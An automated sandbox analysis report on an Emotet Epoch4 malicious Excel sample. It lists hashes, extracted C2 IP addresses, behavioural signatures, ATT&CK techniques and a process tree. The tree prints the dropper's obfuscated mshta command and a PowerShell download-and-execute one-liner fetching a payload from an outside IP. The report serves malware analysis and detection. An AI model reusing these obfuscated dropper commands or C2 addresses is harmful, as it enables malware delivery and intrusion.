emotet | 0bcfb5ec55307b202d34f0fcdd61f1308ca007dad6288902b63fda00ba363d8c

Analysis

max time kernel
146s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/01/2022, 15:24

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General

Target
4d1f5f4ab19ac3ece287f74398084c63.xls
Size 141KB
Sample220120-ss3cwsaeak
SHA256 0bcfb5ec55307b202d34f0fcdd61f1308ca007dad6288902b63fda00ba363d8c
MD5 4d1f5f4ab19ac3ece287f74398084c63
SHA1 68db839c7de850a813f943035b15227787af8eb2
SHA512 ccc8612dc9170d55f067e79f08d5c7ec28806c40934a4a1b5282fbed1b627f642268d962202561fa3fcb5389f8b5288051aab4effa82cb944c8f6e37d022a880
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3488	1404	cmd.exe	51

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2236 created 2684	2236	WerFault.exe	64

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
46	2684	mshta.exe
48	2196	powershell.exe
50	2196	powershell.exe
54	2196	powershell.exe
83	2532	rundll32.exe
84	2532	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1356	rundll32.exe
3044	rundll32.exe
1444	rundll32.exe
2532	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Awfhuegy\qgrvlkoxlu.pta	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2396	2684	WerFault.exe	64

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1404	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2196	powershell.exe
2396	WerFault.exe
2396	WerFault.exe
2196	powershell.exe
2532	rundll32.exe
2532	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE
1404	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 2996	1404	EXCEL.EXE	57
PID 1404 wrote to memory of 2996	1404	EXCEL.EXE	57
PID 1404 wrote to memory of 3488	1404	EXCEL.EXE	62
PID 1404 wrote to memory of 3488	1404	EXCEL.EXE	62
PID 3488 wrote to memory of 2684	3488	cmd.exe	64
PID 3488 wrote to memory of 2684	3488	cmd.exe	64
PID 2684 wrote to memory of 2196	2684	mshta.exe	70
PID 2684 wrote to memory of 2196	2684	mshta.exe	70
PID 2236 wrote to memory of 2684	2236	WerFault.exe	64
PID 2236 wrote to memory of 2684	2236	WerFault.exe	64
PID 2196 wrote to memory of 1956	2196	powershell.exe	76
PID 2196 wrote to memory of 1956	2196	powershell.exe	76
PID 1956 wrote to memory of 1356	1956	cmd.exe	77
PID 1956 wrote to memory of 1356	1956	cmd.exe	77
PID 1956 wrote to memory of 1356	1956	cmd.exe	77
PID 1356 wrote to memory of 3044	1356	rundll32.exe	78
PID 1356 wrote to memory of 3044	1356	rundll32.exe	78
PID 1356 wrote to memory of 3044	1356	rundll32.exe	78
PID 3044 wrote to memory of 1444	3044	rundll32.exe	81
PID 3044 wrote to memory of 1444	3044	rundll32.exe	81
PID 3044 wrote to memory of 1444	3044	rundll32.exe	81
PID 1444 wrote to memory of 2532	1444	rundll32.exe	82
PID 1444 wrote to memory of 2532	1444	rundll32.exe	82
PID 1444 wrote to memory of 2532	1444	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4d1f5f4ab19ac3ece287f74398084c63.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2996
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2196
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1956
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1356
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3044
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Awfhuegy\qgrvlkoxlu.pta",lSpxXRopa
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1444
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Awfhuegy\qgrvlkoxlu.pta",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2532
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2684 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2972

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe ac4d7fc81477f68c4dc1757c71a18735 mQBOnEWw40ih6L2T+cOyzg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3444

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 360 -p 2684 -ip 2684
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1404-620-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-618-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-130-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-131-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-615-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-138-0x00007FF9616F0000-0x00007FF961700000-memory.dmp

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memory/1404-616-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-137-0x00007FF9616F0000-0x00007FF961700000-memory.dmp

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memory/1404-134-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-133-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1404-132-0x00007FF963750000-0x00007FF963760000-memory.dmp

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memory/1444-583-0x00000000048D0000-0x00000000048F6000-memory.dmp

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memory/2196-572-0x00000260E0820000-0x00000260E0896000-memory.dmp

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memory/2196-554-0x00000260E0750000-0x00000260E0794000-memory.dmp

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memory/2196-552-0x00000260C80F0000-0x00000260E0270000-memory.dmp

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memory/2196-550-0x00000260C80F0000-0x00000260E0270000-memory.dmp

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memory/2196-549-0x00000260C80F0000-0x00000260E0270000-memory.dmp

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memory/2196-548-0x00000260E0220000-0x00000260E0242000-memory.dmp

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memory/2532-612-0x0000000005180000-0x00000000051A6000-memory.dmp

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memory/2532-587-0x0000000004840000-0x0000000004866000-memory.dmp

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memory/2532-608-0x0000000005040000-0x0000000005066000-memory.dmp

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memory/2532-610-0x00000000050A0000-0x00000000050C6000-memory.dmp

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memory/2532-617-0x0000000005290000-0x00000000052B6000-memory.dmp

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memory/2532-624-0x00000000053B0000-0x00000000053D6000-memory.dmp

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memory/2532-632-0x00000000054A0000-0x00000000054C6000-memory.dmp

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memory/2532-634-0x0000000005690000-0x00000000056B6000-memory.dmp

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memory/3044-582-0x0000000004A40000-0x0000000004A66000-memory.dmp

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memory/3044-579-0x00000000048C0000-0x00000000048E6000-memory.dmp

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memory/3044-577-0x0000000004860000-0x0000000004886000-memory.dmp

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memory/3044-575-0x0000000004760000-0x0000000004786000-memory.dmp

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memory/3044-570-0x00000000027D0000-0x00000000027F6000-memory.dmp

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